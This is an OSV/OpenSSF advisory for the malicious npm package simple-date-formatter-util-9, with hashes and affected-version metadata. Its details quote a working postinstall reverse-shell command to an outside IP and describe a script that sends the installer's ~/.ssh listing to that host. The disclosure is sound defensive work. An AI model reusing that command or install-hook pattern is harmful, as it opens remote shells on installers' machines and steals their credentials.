MAL-2026-11547

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-util-9/MAL-2026-11547.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11547
Published
2026-08-04T22:07:12Z
Modified
2026-08-04T23:05:31.216141474Z
Summary
Malicious code in simple-date-formatter-util-9 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840)

package.json declares a postinstall lifecycle hook that executes bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at npm install time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-04T22:30:11.671428728Z",
            "modified_time": "2026-08-04T22:07:12Z",
            "sha256": "3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840",
            "id": "IN-MAL-2026-011338",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / simple-date-formatter-util-9

Package

Name
simple-date-formatter-util-9
View open source insights on deps.dev
Purl
pkg:npm/simple-date-formatter-util-9

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators
{
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-cZmgGyB6elEBCIi74DABoMFlDam8DVl/xUWGFmzHLZCg9eH5Ve92ocwLzhgBMjp5m4KdZpWaoPuNPYvKmPemyA==",
                "sha1": "320bc1b63cd845834e1f2f15240fffad23e3c9cc"
            },
            "filename": "simple-date-formatter-util-9-1.0.0.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "304032276f21b0190f167d74910e03d933146ef0be9af14a0eedfb9ac8277d0a",
            "tlsh": "27e07d50ce108c3367d585b98a568512bb04de1b00183c09779b2248a38fab344fc30e"
        },
        {
            "path": "postinstall.js",
            "sha256": "f2be6940c08d36a7f1ce83d5fe16fefd8c14edda5d124e0f6406725beb5020ef",
            "tlsh": "273165d558f9cd3007778685639b91263102fe13650ee940f3c807a51fe9a5449f2dee"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-util-9/MAL-2026-11547.json"